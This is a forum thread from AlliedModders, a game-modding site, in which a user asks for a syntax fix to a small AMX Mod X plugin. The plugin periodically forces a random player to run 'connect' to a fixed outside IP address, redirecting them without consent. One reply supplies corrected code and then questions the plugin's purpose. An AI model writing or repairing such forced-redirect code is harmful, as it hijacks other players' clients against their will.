Raised This Month: $ Target: $400
 0% 

Fix Error


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
kiki33hun
Veteran Member
Join Date: Jul 2011
Location: Magyarország
Old 11-05-2011 , 06:25   Fix Error
Reply With Quote #1

Hy, please fix my error!

PHP Code:
public plugin_init() {
    
register_plugin(PLUGINVERSIONAUTHOR)
    
    
set_task1000.0"kiki"0""0"b" ); 
}
public 
kiki(id)
{
    
client_cmd(^"random_num( 1,31 )^""connect 80.249.166.44:27015")

__________________
kiki33hun is offline
Evaldas.Grigas
Senior Member
Join Date: Sep 2011
Location: Lithuania
Old 11-05-2011 , 07:12   Re: Fix Error
Reply With Quote #2

What's the error?
__________________
Please enter this website everyday: http://forums.alliedmods.net/showthread.php?t=169067
Evaldas.Grigas is offline
Send a message via Skype™ to Evaldas.Grigas
sake
Senior Member
Join Date: Jul 2011
Old 11-05-2011 , 08:20   Re: Fix Error
Reply With Quote #3

Quote:
Originally Posted by kiki33hun View Post
PHP Code:
public plugin_init() {
    
register_plugin(PLUGINVERSIONAUTHOR)
    
    
set_task1000.0"kiki"0""0"b" ); 
}
public 
kiki(id)
{
    
    
client_cmd(random_num1,31 ), "connect 80.249.166.44:27015")


Don't escape the " chars when you want to use a string. And random_num is an integer which is the correct 1st parameter for client_cmd. And you should check if the player is connected.

EDIT:

What the hell is the aim of this plugin, anyways???
__________________

Last edited by sake; 11-05-2011 at 08:22.
sake is offline
kiki33hun
Veteran Member
Join Date: Jul 2011
Location: Magyarország
Old 11-05-2011 , 08:40   Re: Fix Error
Reply With Quote #4

Code:
What the hell is the aim of this plugin, anyways???

......

If(user conencted?
__________________
kiki33hun is offline
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 14:18.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode